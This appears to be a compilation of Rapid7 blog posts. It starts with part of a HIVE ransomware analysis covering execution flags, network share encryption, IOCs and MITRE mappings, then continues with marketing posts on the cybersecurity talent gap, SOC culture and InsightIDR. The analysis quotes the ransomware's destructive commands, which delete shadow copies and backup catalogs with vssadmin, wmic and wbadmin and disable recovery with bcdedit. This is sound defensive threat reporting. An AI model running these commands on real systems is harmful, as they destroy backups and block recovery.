Lastly, the malicious actor also manually executed the payload a few times on systems that had not been put into safeboot minimal and rebooted. Systems they executed with only the -u flag actively searched out network shares they had access to and encrypted their contents. This ensures that only the intended hosts do network share encryption and all those that were rebooted into safeboot minimal do not flood the network simultaneously encrypting all files. It also means that the contents of network file shares that are not Windows based (various NAS devices, Linux hosts using Samba) will be encrypted even if the payload is not actually deployed on that specific host. This approach would be extremely destructive to both corporate environments and home users with network attached storage systems for backups. Rapid7 notes that ThreatLocker have reported on similar activity in their knowledge base article entitled Preventing BCDEdit From Being Weaponized.

Malware analysis of HIVE sample

Rapid7 observed that the HIVE payload would not execute unless a flag of -u was passed. During analysis it was discovered that passing -u asdf:asdf would result in the Login and Password (colon-delimited) provided to the victim to authenticate to the site behind the onion link on the TOR network:

Increasing The Sting of HIVE Ransomware

This, and other behaviors were previously reported on by Microsoft’s article Hive Ransomware Gets Upgrades in Rust and also by Sophos in their Github Repository of IoC’s mentioned in their article Lockbit, Hive, and BlackCat attack automotive supplier in triple ransomware attack. There have been some flags that are noted to exist, but their features are not documented. Rapid7 has analyzed the behaviors of these flags, documented them in addition to discovering two new flags (-timer, -low-key) in the HIVE ransomware samples.

The new flags -t, -timer, --timer effectively cause the malware to wait the specified number of seconds before going on to perform its actions. The other new flags -low-key, --low-key will cause the ransomware to focus on only its encryption of data and not perform pre-encryption tasks, including deleting shadow copies (malicious use of vssadmin.exe, wmic.exe), deleting backup catalogs (malicious use of wbadmin.exe), and disabling Windows Recovery Mode (malicious use of bcdedit.exe). These features give the malicious actor more control over how/when the payload is executed and skirt common methods of command line and parent/child process related detection for most ransomware families.

Fundamentally, the sample’s respective flags distill down into encryption operations of local, mount and discovery.  The local module utilizes the LookupPrivilegeValueW and AdjustTokenPrivileges that Windows API calls on its own process via GetCurrentProcess and OpenProcessToken to obtain SeDebugPrivilege privileges.  This is presumably crucial for OpenProcess -> OpenProcessToken -> ImpersonateLoggedOnUser API call attempts to processes: winlogon.exe and trustedinstaller.exe to subsequently stop security services and essential processes, if the --low-key is not passed during execution.  ShellExecuteA is also used to launch various Windows binaries (bcdedit.exe, notepad.exe, vssadmin.exe, wbadmin.exe, wmic.exe) for destruction of backups and ransom note display purposes. The mount module will use NetUseEnum to identify the current list of locally-mounted network shares and add them to the list to be encrypted. Lastly, the discovery module will use NetServerEnum to identify available Windows hosts within the domain/workgroup. This list is then used with NetShareEnum to identify file shares on each remote host and add them to the list of locations to have their files encrypted.

By default, all three modes (local, mount and discovery)are enabled, so all local, mounted and shares able to be enumerated will have their contents encrypted. This effectively ransoms all systems in a victim’s environment with a single execution of HIVE—when performed by a privileged user such as a Domain or Enterprise Admin account. Command line flags may be used to change this behavior and invoke one or more of the modules. For instance—local-only will use only the local module while—network-only will use the mount and discovery modules.

Type

Value

Registry Key

HKLM\System\CurrentControlSet\Control\Terminal Server

Registry Value

Type: DWORD Name: fDenyTSConnections Value: 0

Filename

rdp.bat

Filename

file1.bat

Filename

file2.bat

Filename

int.7z

Filename

int64.exe

MD5

89ea20880a6aae021940a8166ff85ee8

SHA1

4af769fb3109c754bc879201c61242217a674a2e

SHA256

067af912ceddb1ea181490f2b3b5a323efcac61c82207833cda70c21c84460cb

Filename

int.exe

MD5

8fba0d57696ccf672ddcea4ba4d0e885

SHA1

31097a7f91d182755fc63ebf023bff54cda5ae9c

SHA256

184a0f96cef09408b192767b405b0266403c9ec429945c1a78703f04f18c7416

IP Address

79.137.206[.]47

FQDN

paloaltocloud[.]online-height:1

FQDN

maxkey[.]online

FQDN

keycloud[.]live

FQDN

microcloud[.]online

FQDN

microcloud[.]live

IP Address

194.135.24[.]241

IP Address

179.43.142[.]230

IP Address

77.73.133[.]80

IP Address

77.73.134[.]27

IP Address

77.73.134[.]10

By default, the ransomware will execute the following child processes with the following arguments:

Use of vssadmin.exe in order to delete shadow copies of files which deletes unencrypted backups of files they are attempting to ransom:

"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet

Use of wmic.exe to create calls that also delete all shadow copies of files which deletes unencrypted backups of files they are attempting to ransom:

"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete

Use of wbadmin.exe to delete backup catalogs:

"C:\Windows\System32\wbadmin.exe" delete systemstatebackup

"C:\Windows\System32\wbadmin.exe" delete catalog-quiet

"C:\Windows\System32\wbadmin.exe" delete systemstatebackup -keepVersions:3

Use of bcdedit.exe to disable automatic repair and ignore errors when booting:

"C:\Windows\System32\bcdedit.exe" /set {default} recoveryenabled No

"C:\Windows\System32\bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures

Lastly, also opening up notepad.exe to display the ransom note with instructions to the victim on how to pay:

"C:\Windows\System32\notepad.exe" C:\HOW_TO_DECRYPT.txt

Rapid7 Protection

Rapid7 has detections in place within InsightIDR through Insight Agent to detect this type of ransomware activity. However, since the malicious actor is rebooting into safemode minimal state, endpoint protection software and networking will not be running while the endpoint is executing ransomware.

So, identifying the actions of a malicious actor before ransomware is deployed is crucial to preventing the attack. In other words, it is essential to identify malicious actors within the environment and eject them before the ransomware payload is dropped.

The following detections are now available InsightIDR to identify this attacker behavior.

  • Attacker Technique – Auto Logon Count Set Once
  • Attacker Technique – Potential Process Hollowing To DLLHost
  • Attacker Technique – Shutdown With Message Used By Malicious Actors
  • Attacker Technique – URL Passed To BitsAdmin
  • Lateral Movement – Enable RDP via reg.exe
  • Suspicious Process – BCDEdit Enabling Safeboot
  • Suspicious Process – Boot Configuration Data Editor Activity
  • Suspicious Process – DLLHost With No Arguments Spawns Process
  • Suspicious Process – Rundll32.exe With No Arguments Spawns Process
  • Suspicious Process – ShadowCopy Delete Passed To WMIC
  • Suspicious Process – Volume Shadow Service Delete Shadow Copies

IOC’s

Type

Value

Registry Key

HKLM\System\CurrentControlSet\Control\Terminal Server

Registry Value

Type: DWORD Name: fDenyTSConnections Value: 0

Filename

rdp.bat

Filename

file1.bat

Filename

file2.bat

Filename

int.7z

Filename

int64.exe

MD5

89ea20880a6aae021940a8166ff85ee8

SHA1

4af769fb3109c754bc879201c61242217a674a2e

SHA256

067af912ceddb1ea181490f2b3b5a323efcac61c82207833cda70c21c84460cb

Filename

int.exe

MD5

8fba0d57696ccf672ddcea4ba4d0e885

SHA1

31097a7f91d182755fc63ebf023bff54cda5ae9c

SHA256

184a0f96cef09408b192767b405b0266403c9ec429945c1a78703f04f18c7416

IP Address

79.137.206[.]47

FQDN

paloaltocloud[.]online

FQDN

maxkey[.]online

FQDN

keycloud[.]live

FQDN

microcloud[.]online

FQDN

microcloud[.]live

IP Address

194.135.24[.]241

IP Address

179.43.142[.]230

IP Address

77.73.133[.]80

IP Address

77.73.134[.]27

IP Address

77.73.134[.]10

MITRE ATT&CK

Techniques

T1021 – Remote Services
T1021.001 – Remote Desktop Protocol
T1021.002 – SMB/Windows Admin Shares
T1027 – Obfuscated Files Or Information
T1027.009 – Embedded Payloads
T1037 – Boot Or Logon Initialization Scripts
T1037.003 – Network Logon Script
T1059 – Command And Scripting Interpreter
T1059.001 – PowerShell
T1059.003 – Windows Command Shell
T1070 – Indicator Removal
T1080 – Taint Shared Content
T1105 – Ingress Tool Transfer
T1112 – Modify Registry
T1135 – Network Share Discovery
T1136 – Create Account
T1136.001 – Local Account
T1140 – Deobfuscate/Decode Files Or Information
T1197 – BITS Jobs
T1480 – Execution Guardrails
T1484 – Domain Policy Modification
T1484.001 – Group Policy Modification
T1485 – Data Destruction
T1486 – Data Encrypted For Impact
T1489 – Service Stop
T1490 – Inhibit System Recovery
T1529 – System Shutdown/Reboot
T1547 – Boot Or Logon Autostart Execution
T1560 – Archive Collected Data
T1560.001 – Archive Via Utility
T1562 – Impair Defenses
T1562.001 – Disable Or Modify Tools
T1562.009 – Safe Mode Boot
T1570 – Lateral Tool Transfer

Software

S0029 – PSExec
S0075 – Reg
S0190 – BITSAdmin
S0154 – Cobalt Strike

Powerlifting in the Cybersecurity Skills Gap

Post Syndicated from Jake Godgart original https://blog.rapid7.com/2022/12/01/powerlifting-in-the-cybersecurity-skills-gap/

All the reasons

Powerlifting in the Cybersecurity Skills Gap

Is there too much to do with too little talent? If your SOC hasn’t been running smoothly in a while, there’s likely multiple reasons why. As a popular slang phrase goes these days, it’s because of “all the reasons.” Budget, talent churn, addressing alerts all over the place; you might also work in an extremely high-risk/high-attack-frequency industry like healthcare or media.

Because of “all these reasons” – and possibly a few more – you find yourself with a heavy load to secure. A load that possibly never seems to get lighter. Even when you land some truly talented security personnel and begin the onboarding process, more often these days it seems like a huge question mark if they’ll even be around in a year. And maybe the current cybersecurity skills gap is here to stay.

But that doesn’t mean there’s nothing you can do about it. It doesn’t mean you can’t be powerful in the face of that heavy load and attack frequency. By shoring up your current roster and strategizing how your talent could best partner with a managed detection and response (MDR) services provider, you might not have to simply settle for weathering the talent gap. You may find you’re saving money, creating new efficiencies, and activating a superpower that can help you lift the load like never before.

The hidden benefit

Let’s say retention isn’t a huge issue in your organization. As a manager, you try to stay upbeat, reinforce daily positivity, and show your gratitude for a job well done. If that’s truly the case, then more likely than not people enjoy working for you and probably stick around if they’re paid well and fairly for the industry average. So why not shore up that culture and confidence by:

  • Lightening the load: Remove the need to deal with most false positives and frequent alerts. If your people really do like working in your organization – even in the midst of a challenging talent gap – they enjoy their work/life balance. Challenging that balance by demanding longer hours to turn your employees into glorified button pushers will send the wrong message – and could send them packing to other jobs.  
  • Preventing burnout: Cybersecurity professionals have to begin somewhere, and likely in an entry-level position they’ll be dealing with lots of alerts and repetitive tasks while they earn valuable experience. But when faced with the increasing stress of compounding and repetitive incidents – whether false or not – experienced workers are more likely to think about ditching their current gig for something they consider better. Nearly 30% of respondents in a recent ThreatConnect survey cited major stress as a top reason they would leave a job.
  • Creating space to innovate: Everyone must deal with tedious alerts in some fashion throughout a career. However, skilled individuals should have the space to take on larger and more creative challenges versus something that can most likely be automated or handled by a skilled services partner. That’s why an MDR partner can be a force multiplier, providing value to your security program by freeing your analysts to do more so they can better protect the business.    

Retention just might be the reason

The last point above is one that’s more than fair to make. Freeing your individual team members to work on projects that drive the more macro view and mission of the security organization can be that force multiplier that drives high rates of retention. And that’s great!

The subsequent challenge, then, lies in finding that partner that can be an extension of your security team, a detection and response specialist that can field the alerts and focus on ridding your organization of repetitive tasks –  increasing the retention rate and creating space to innovate. Ensuring a great connection between your team and your service-provider-of-choice is critical. The provider will essentially become part of your team, so that relationship is just as important as the interpersonal dynamics of your in-house teams.

A provider with a squad of in-house incident response experts can help to speed identification of alerts and remediation of vulnerabilities. If you can partner with a provider who handles breach response 100% in-house – as opposed to subcontracting it – this can help to form closer bonds between your in-house team and that of the provider so you can more powerfully contain and eradicate threats.

Resources to help

To learn more about the process of researching and choosing a potential MDR vendor, check out the new Rapid7 eBook, 13 Tips for Overcoming the Cybersecurity Talent Shortage. It’s a deeper dive into the current cybersecurity skills gap and features steps you can take to address your own talent shortages or better partner with a services provider/partner. You can also read the previous entry in this blog series here.

Culture Fitness

Post Syndicated from Jake Godgart original https://blog.rapid7.com/2022/11/10/culture-fitness/

Culture Fitness

Have you checked in on the overall health of your team lately?

What would a new hire think of your current team?

Companies all over the world – particularly those of the higher-profile variety – tout their positive cultures and how great it is to be part of the team. This is especially true in the age of social media, when groups and teams within companies frequently post about what they’re doing to make the company a better place to work and move positive initiatives forward. But what a shrewd potential hire should really be looking for is a culture with true depth, not just a social media presence.

The United States Navy is a great practitioner and example of this true depth of culture in the way they recruit for the famed SEAL Team Six. New members aren’t chosen solely on past performance, even if they’re the best of the best. They’re chosen based on performance and their ability to be trusted, with even lower performers sometimes chosen due to the fact they can be trusted more so than others.

If a potential new hire – whose work history indicated high performance and high trust – was on interview number two or three and came in to meet with several members of your current team to get a feel for the overall culture, what would that person think at the conclusion of those meetings? With that consideration in mind, think about the culture of your current team and if it’s an environment that would attract or repel prospective talent.

SOCulture

Working in a SOC is quite different from working in a flower shop. It’s true that there are certain hallmarks of camaraderie that are repeatable across industries. But cybersecurity is different. Practitioners in our industry have an incredible responsibility on their shoulders. Some providers simply alert you to trouble – think of it like a fire department that alerts you that your house is on fire – but the best ones contain the threats. And the best ones are where talent wants to be. So, what are some tangible actions we know will make analysts consider your SOC a great and happy place to work?

  • Engage your team – This doesn’t have to be some sort of program with a name or anything official. Happy hours, coffee breaks, team lunches, conversations; this type of camaraderie may seem obvious, but it’s amazing how quickly team culture can fall by the wayside in favor of simply getting the work done and then going home. Even something like reserving the first 20 minutes of your regular Wednesday all-team check-in to talk about anything other than work can become something memorable your team looks forward to.
  • Put the human above the role – Even while everyone is heads down on an ETR, there’s always time to be motivational, positive, and celebrate the small wins. That doesn’t mean you have to throw a pizza happy hour every time your team does their jobs well, but positive reinforcement is a must. While everyone deserves a fair salary and to be compensated appropriately for their time and doing their job well, there are those talented individuals driven more by recognition for a job well done than by salary. And you don’t want to see those individuals begin to feel like just another cog in the machine – and then eventually leave.    
  • Commit to cybersecurity, not conflict – According to last year’s ESG Research Report, The Life and Times of Cybersecurity Professionals, those professionals find organizations most attractive that are actually committed to cybersecurity. 43% of individuals surveyed for the report stated that the biggest factor determining job satisfaction is business management’s commitment to strong cybersecurity. It’s great if you consider a candidate a strong fit, but how’s your team’s relationships with other teams? Would that candidate see themselves as a fit amongst those dynamics?  
  • Promote a healthy team with a healthy dose of DEI – In that same ESG report, 21% of survey respondents said that one of the biggest ways the cybersecurity skills shortage impacted their team was that their organization tended not to seek out qualified applicants with more diverse backgrounds; they simply wanted what they considered the perfect fit. Diversity, Equity, and Inclusion (DEI) should be something that attracts great talent and that is ultimately reflected in the culture. Candidates should feel they aren’t being sold a “false bill of goods.” Show them that everyone has an equal shot at opportunities, pay, and having a say in the actions of your SOC.

Implement and complement

It’s not an overnight thing to tweak certain aspects of your culture to address issues with your current team, nor is it a fast-ask to to attract great talent and retain them far into the future. Talking to your team, engaging them with tools like surveys and open dialogue can begin to yield an actionable plan that you can take all the way to the job listing and the words you use in it. The key to being successful is to be genuine in your approach to building a culture that is inclusive, engaging, and fun.

The culture fit can also extend to partnerships. If you’re thinking of engaging a managed services partner to help you fill certain holes in the cybersecurity skills gap that may be affecting your own organization, it’s important to thoroughly vet that vendor. Much like partnering with a new hire in the quest to thwart attackers, implementing a long-term partnership with a managed services provider can complement your existing SOC for years to come. But it has to be a good fit: Is the provider dependable? Is there a 24/7 number you can call when you need immediate assistance? Beyond that, do your companies share similar values and ethical concerns?

You can learn more in our new eBook, 13 Tips for Overcoming the Cybersecurity Talent Shortage. It’s a deeper dive into the current cybersecurity skills gap and features steps you can take to address talent shortages. It also considers your current culture and its ability to amplify voices so that, together, you can extinguish the most critical threats.

From Churn to Cherry on Top: How to Foster Talent in a Cybersecurity Skills Gap

Post Syndicated from Jake Godgart original https://blog.rapid7.com/2022/10/27/from-churn-to-cherry-on-top/

From Churn to Cherry on Top: How to Foster Talent in a Cybersecurity Skills Gap

The mythical (un)icorn pipeline

When it comes to building a cybersecurity talent pipeline that feeds directly into your company, there’s one go-to source for individuals who are perfectly credentialed, know 100% of all the latest technology, and will be a perfect culture-fit: Imaginationland.

Of course we all know that isn’t a real place, and that the sort of talent described above doesn’t really exist. It’s more about thoughtfully building a talent pipeline that benefits your specific organization and moves the needle for the company. The key word in that last sentence? Thoughtfully. Because it takes strategic planning, collaboration, and a thoughtful nature to source from educational institutions, LinkedIn groups, talent-that’s-not-quite-fully-baked-but-soon-could-be, and many other venues that may not be top-of-mind.

Identifying those venues and solidifying a pipeline/network will go a long way in preventing continuous talent churn and finding individuals who bring that special something that makes them the cherry on top of your team.    

The (un)usual places

Do you have a list? A few go-to places for sourcing talent? How old is that list? Do you have a feeling it might be extremely similar to talent-sourcing lists at other companies? It only takes relocating one letter in the word “sourcing” to turn it into “scouring.” As in, scouring the internet to find great talent. Not a word with 100%-negative connotation, but it implies that – after that open analyst req has been sitting on all the job sites for months – maybe now there’s a certain frantic quality to your talent search.

So if you’re going to scour, you may as well make it a smart scour. Targeting specific avenues on and offline is great, but targeting a specific profile for the type of person you hope will join your team…that can turn out to be not so great. Stay open; the person(s) you find may just surprise you. Start online with places like:

  • TryHackMe rooms
  • Comments sections
  • Twitter (yes, Twitter)

And, truly, give some thought to heading offline and scouring/scouting for talent in places like:

  • In-person conferences and events
  • The local CTF event
  • Someone on your IT team that wants to get into cybersecurity
  • Talking to members of your existing team
  • Bespoke recruiting events in talent hotbeds around the world      

And one last place to look: past interviewees. How long has it been since you interviewed that candidate who was almost the right fit? What if that person would now be a great fit? It can be a cyclical journey, so it’s a good idea to keep a list of candidates who impressed you, but didn’t quite make the cut at the time. Better yet, connect with these candidates on social media and periodically check in to see how they are growing their skills.

The (un)familiar fit

You have an idea of what sort of person you would like to see in that open role. But, what if that person never walks through your (real or virtual) door to interview? Will you close the role and just forget about it? Of course you won’t because your SOC likely needs talent – and sooner rather than later. If you don’t allow for some wiggle room in the requirements though, you may be in for an extended process of trying to fill that position.

So, what does that wiggle room look like? Let’s put it this way: If a candidate that matched all criteria on the job description suddenly walked through your door, would you forgo the interview and hire them on the spot? Hopefully not, because there are certain intangibles you should take into account. Yes, that person matches everything on the description, but do they really want to work for your business specifically? Because a bad hire that matches all the requirements on the description, well that can ultimately be more toxic than something who has the potential to live up to those requirements.

Building Diversity, Equity, and Inclusion (DEI) hiring practices into your program, and being thoughtful with the words you use when crafting job descriptions and the requirements listed on them can create the wiggle room that non-ideal candidates might need to feel invited to apply and interview.    

The un becomes the usual

That section header doesn’t refer to any one thing discussed above. It’s a collection of considerations and practices that aren’t “un” because they’re so irregular, rather because none of them are the first thing a hiring manager might think to do when looking to fill a role. One of these considerations may be the second or third thing that comes to mind. But, by making these hiring practices more of the “usual way” to secure talent for open roles, you may experience significantly less churn and find the individuals that become the cherry on top of your SOC.    

You can learn more in our new eBook, 13 Tips for Overcoming the Cybersecurity Talent Shortage. It’s a deeper dive into the current cybersecurity skills gap and features steps you can take to address it within your own organization.

[The Lost Bots] S02E05: The real magic in the Magic Quadrant

Post Syndicated from Rapid7 original https://blog.rapid7.com/2022/10/19/the-lost-bots-s02e05-the-real-magic-in-the-magic-quadrant/

[The Lost Bots] S02E05: The real magic in the Magic Quadrant

In this episode, we discuss the best use of market research reports, like Magic Quadrants and Waves. If you’re in the market for a new cybersecurity solution, do you just pick a Leader and call it a day?

“Consult the MQ only after you’ve identified two vendors that would be a perfect security solution for you,” say our hosts Jeffrey Gardner, Detection and Response Practice Advisor and Stephen Davis, Lead D&R Sales Technical Advisor. When you have two that meet or exceed the requirements? “I’ll be honest, I might not care about the MQ placement,” says Davis.

Do not under any circumstances leave before the jazz hands bit: they do gather themselves and talk about how outcomes have to run the show, first and always.

Check back with us in November for our next installment of The Lost Bots!

Additional reading:

The Intelligent Listing: Cybersecurity Job Descriptions That Deliver

Post Syndicated from Jake Godgart original https://blog.rapid7.com/2022/10/13/the-intelligent-listing-cybersecurity-job-descriptions-that-deliver/

The Intelligent Listing: Cybersecurity Job Descriptions That Deliver

Modern job descriptions have quite the reputation for causing reactionary eye-rolling. Why? Because what used to be a couple of paragraphs – about requirements and experience for performing a cybersecurity analyst job – is actually now filled with a laundry list of criteria that make candidates think twice before hitting the “Apply Now” button.

Before you know it, the potential applicant has read a couple thousand words of simple job requirements, plus an “alphabet soup” of certifications. It’s all a bit ridiculous, considering if applicants spent all of their time studying for these tests, they wouldn’t have any real-world experience (or a life!) to back it up. In fact, the candidate may even be overqualified for the job, and the person who wrote the listing is the one who should probably feel ridiculous…and inefficient.

Description or unrealistic wishlist?

Even the term “wishlist” isn’t accurate, because many job descriptions veer off of what the job function will actually be and start listing “nice-to-haves” as requirements. Thus, even a function not likely to be under an analyst’s day-to-day purview becomes something the candidate reads in the description and makes them decide not to pursue the position. Or worse, it requires the applicant to use a technology stack they’ve never accessed. And maybe with wording that conveys the availability of a little guidance and/or teaching with regard to that new tech, they might end up applying. The takeaway: Be transparent about what the job will actually require because the applicant might be an amazing fit.

This is a more pervasive problem throughout the cybersecurity industry than many think. For example, an entry-level security analyst job description might list a few certifications as hard requirements. But one of those certifications requires a minimum of five years paid work experience. So the requirements in the job description end up being contradictory, and the hiring manager might need to have a think about what kind of position they’re actually trying to fill.  

Even if that magical security unicorn that matched all the requirements did exist, they’ll still need to learn something on days 1 to 100. Namely, the ins and outs of the company, the office space, meeting cadence, team dynamics…and maybe some coworkers’ first names. There’s always something new at the beginning that becomes part of the onboarding process, and learning a new tool (or two) shouldn’t be grounds to give a prospective applicant pause.

A DIY description should start with DEI

Embracing diversity, equity, and inclusion (DEI) isn’t just a corporate slogan – it’s simply the right thing to do. And knowing how to weave that sentiment and practice into a job description can be tricky. But with the right mix of welcoming language and realistic requirements, you’ll start to attract great candidates. Here are a few questions to ask yourself when writing with DEI in mind (again, so you can attract the absolute best candidate pool):

  • Are you simply listing the requirements and calling it a day, or are you weaving thoughtful language in and around those requirements that also keeps in mind things like gender bias and overly corporate language?
  • Are you creating an inviting description for potential candidates with non-typical backgrounds, such as those who might have Associate’s Degrees (but maybe also a ton of experience and/or natural aptitude) or those who may be recent grads but could turn into absolute rockstars sooner than you think?
  • Your company may have worked hard to integrate DEI into its culture and its very DNA. Is that reflected in the descriptions for your open positions currently published across all the job sites?
  • Are you including language that can help prep candidates for the actual interview process?

Stay tuned in

It’s not rocket science, as the old saying goes. But if you’re having trouble attracting expert talent that will stay loyal (at least for a few years), it can be worthwhile to poke around jobs sections of social sites, cybersecurity talent forums, and a ton of listings from the competition to see what kind of language they’re using and if it’s actually attracting talent (how long has that listing been up?). You’ll notice the best job descriptions are not all about the job itself; postings should say what the company is looking for AND what it can do for the candidate – beyond salary and benefits.

It’s true that a positive work environment can do wonders for productivity, camaraderie, and Glassdoor reviews from employees that reflect favorably on their time in your security operations center (SOC). It’s also good to keep in mind that if it all goes well and you end up with several employees who all stay five years or more, their experience begins with that job description. They’ll always remember reading it; how it made them feel and what prompted them to click “Apply Now,” so make that listing a good one.    

You can also read our new eBook, 13 Tips for Overcoming the Cybersecurity Talent Shortage, for a deeper dive into the current cybersecurity skills gap and more steps you can take to address it within your own organization.

We’re Challenging Convention. Rapid7 Recognized in the 2022 Gartner® Magic Quadrant™ for SIEM.

Post Syndicated from Meaghan Donlon original https://blog.rapid7.com/2022/10/13/rapid7-recognized-in-the-2022-gartner-magic-quadrant-for-siem/

We're Challenging Convention. Rapid7 Recognized in the 2022 Gartner® Magic Quadrant™ for SIEM.

As the attack surface sprawls, under-resourced security teams have inherent disadvantages. Rapid7 InsightIDR enables resource constrained security teams to achieve sophisticated detection and response, with greater efficiency and efficacy. As a Challenger in the 2022 Gartner Magic Quadrant for SIEM, we’re proud to represent the huge number of security teams out there today that don’t have time to do it all, but are asked to do it anyway. Our goal is to keep your organization safe by finding and eliminating threats faster and more reliably.

We're Challenging Convention. Rapid7 Recognized in the 2022 Gartner® Magic Quadrant™ for SIEM.

Gartner Peer® Insights™

Rapid7 maximizes your most precious resource: time

We are grateful to have a diverse collective of customers and partners around the world, of varying size and industry focus. These smart, agile, maturing teams want to advance their detection and response programs, but their organizations and the threats they face are moving faster than their capacity is growing. The constant that unites all of these teams: they never have enough time. Yet, we feel that despite a well-documented, industry-crushing skills gap, far too many traditional SIEMs and detection products continue to introduce additional noise and complexity for these teams. The result is long days, weekend work, far too many missed dinners / concerts / games, and (scariest of all) missed threats.

The best way to achieve successful detection and response is through a pragmatic and efficient approach. Threats are still a threat—whether or not you’ve had time to set up your complex traditional SIEM or the myriad of point detection solutions around it. Attackers don’t care if you’re ready. In fact, they’re counting on you not to be. Security teams need time and access to expertise to close this gap.

That’s where we believe Rapid7 can help.

We're Challenging Convention. Rapid7 Recognized in the 2022 Gartner® Magic Quadrant™ for SIEM.

Gartner® Peer Insights

Time-to-value and efficiency at every step

From inception, the guiding principle of InsightIDR has been to deliver sophisticated detection and response, in a more efficient and effective way, and here’s how:

  • A cloud-native foundation, SaaS delivery, and software-based collectors means it is faster to deploy, removes hardware burdens that bog teams down, and accelerates the time to actually get insights.
  • Intuitive interfaces, pre-built dashboards and reports, and a robust detections library means that teams are able to activate even the most junior analysts to deliver advanced analysis and threat detections right away.
  • And highly correlated investigation timelines, response recommendations (vetted by Rapid7’s MDR team), and pre-built automation workflows help you with one of the hardest parts of your job: responding to threats before significant damage occurs.

In short, we offer a SIEM that maturing teams can get real value from. Over the last seven years, we’ve struck a balance of adding a multitude of capabilities while never compromising our core tenet and commitment to providing you with productivity efficiency and delivering a better detection and response experience.

We're Challenging Convention. Rapid7 Recognized in the 2022 Gartner® Magic Quadrant™ for SIEM.

Gartner® Peer Insights™

High-fidelity, expertly vetted detections

Leveraging a diverse mix of threat intelligence—including unique intel from Rapid7’s renowned open-source projects—the Rapid7 Threat Intelligence and Detections Engineering (TIDE) team curates emergent threat content from all corners of the threat landscape. Our TIDE team is constantly manicuring a library of both known and unknown threats to capture even the most evasive attacks. With this always-up-to-date library and native UEBA, EDR, NDR, deception technology, and cloud TDIR, InsightIDR customers can be confident that the entirety of their attack surface is covered. And because our global MDR team is leveraging the same threat library, you can be certain that alerts will be low noise, highly reliable, and primed for analysts to take action.

We're Challenging Convention. Rapid7 Recognized in the 2022 Gartner® Magic Quadrant™ for SIEM.

Gartner Peer® Insights™

The future of detection & response

We believe that as the threat and attack landscape change at a rapid pace, the approaches to unifying data, detecting, and responding need to too. Reducing the noise and accelerating response outcomes is critical for security success – regardless of your security maturity. We also believe that for this reason, Gartner has named us a Challenger in the Magic Quadrant for SIEM – and we will continue to challenge the traditional as we focus on building the right outcomes for our customers. Find a complimentary copy of the 2022 Gartner Magic Quadrant for SIEM here.

Just a few of those outcomes we are driving toward in the future:

  • More frictionless access to expertise to ensure analysts always know how to respond and can execute more quickly
  • Deepening our breadth of detections and endpoint coverage for modern, dynamic environments, so customers can continue to leverage InsightIDR as their single source of truth for detection and response
  • Making sure our MSSP partners and their customers are optimized to succeed by providing a more turnkey experience that enables these partners to tap into the scale and efficiency of InsightIDR

We are excited to share more on these initiatives soon. Thank you to our customers and partners for continuing to share your insights, ideas, pains, and future plans. You continue to fuel our innovation and validate that we are on the right track in addressing the needs of maturing security teams.

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What’s New in InsightIDR: Q3 2022 in Review

Post Syndicated from KJ McCann original https://blog.rapid7.com/2022/10/05/whats-new-in-insightidr-q3-2022-in-review/

What's New in InsightIDR: Q3 2022 in Review

This Q3 2022 recap post takes a look at some of the latest investments we’ve made to InsightIDR to drive detection and response forward for your organization.

360-degree XDR and attack surface coverage with Rapid7

The Rapid7 XDR suite — flagship InsightIDR, alongside InsightConnect (SOAR), and Threat Command (Threat Intel) — unifies detection and response coverage across both your internal and external attack surface. Customers detect threats earlier and respond more quickly,  shrinking the window for attackers to succeed.  

With Threat Command alerts now directly ingested into InsightIDR, receive a more holistic picture of your threat landscape, beyond the traditional network perimeter. By unifying these detections and related workflows together in one place, customers can:

  • Manage and tune external Threat Command detections from InsightIDR console
  • Investigate external threats alongside context and detections of their broader internal environment
  • Activate automated response workflows for Threat Command alerts – powered by InsightConnect – from InsightIDR to extinguish threats faster

Rapid7 products have helped us close the gap on detecting and resolving security incidents to the greatest effect. This has resulted in a safer environment for our workloads and has created a culture of secure business practices.

— Manager, Security or IT, Medium Enterprise Computer Software Company via Techvalidate

Eliminate manual tasks with expanded automation

Reduce mean time to respond (MTTR) to threats and increase confidence in your response actions with the expanded integration between InsightConnect and InsightIDR. Easily create and map InsightConnect workflows to any attack behavior analytics (ABA), user behavior analytics (UBA), or custom detection rule, so tailored response actions can be initiated as soon as an alert fires. Quarantine assets, enrich investigations with more evidence, kick off ticketing workflows, and more – all with just a click.

Preview the impact of exceptions on detection rules

Building on our intuitive detection tuning experience, it’s now easier to anticipate how exceptions will impact your alert volume. Preview exceptions in InsightIDR to confirm your logic to ensure that tuning will yield relevant, high fidelity alerts. Exception previews allow you to confidently refine the behavior of ABA detection rules for specific users, assets, IP addresses, and more to fit your unique environments and circumstances.

What's New in InsightIDR: Q3 2022 in Review

Streamline investigations and collaboration with comments and attachments

With teams more distributed than ever, the ability to collaborate virtually around investigations is paramount. Our overhauled notes system now empowers your team to create comments and upload/download rich attachments through Investigation Details in InsightIDR, as well as through the API. This new capability ensures your team has continuity, documentation, and all relevant information at their fingertips as different analysts collaborate on an investigation.

What's New in InsightIDR: Q3 2022 in Review
Quickly and easily add comments and upload and download attachments to add relevant context gathered from other tools and stay connected to your team during an investigation.

New vCenter deployment option for the Insight Network Sensor

As a security practitioner looking to minimize your attack surface, you need to know the types of data on your network and how much of it is moving: two critical areas that could indicate malicious activity in your environment.

With our new vCenter deployment option, you can now use distributed port mirroring to monitor internal east-west traffic and traffic across multiple ESX servers using just a single virtual Insight Network Sensor. When using the vCenter deployment method, choose the GRETAP option via the sensor management page.

First annual VeloCON brings DFIR experts from around the globe together

Rapid7 brought DFIR experts and enthusiasts from around the world together this September to share experiences in using and developing Velociraptor to address the needs of the wider DFIR community.

What's New in InsightIDR: Q3 2022 in Review

Velociraptor’s unique, advanced open-source endpoint monitoring, digital forensic, and cyber response platform provides you with the ability to respond more effectively to a wide range of digital forensic and cyber incident response investigations and data breaches.

Watch VeloCON on-demand to see security experts delve into new ideas, workflows, and features that will take Velociraptor to the next level of endpoint management, detection, and response.

A growing library of actionable detections

In Q3, we added 385 new ABA detection rules to InsightIDR. See them in-product or visit the Detection Library for actionable descriptions and recommendations.

Stay tuned!

As always, we’re continuing to work on exciting product enhancements and releases throughout the year. Keep an eye on our blog and release notes as we continue to highlight the latest in detection and response at Rapid7.

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Velociraptor Version 0.6.6: Multi-Tenant Mode and More Let You Dig Deeper at Scale Like Never Before

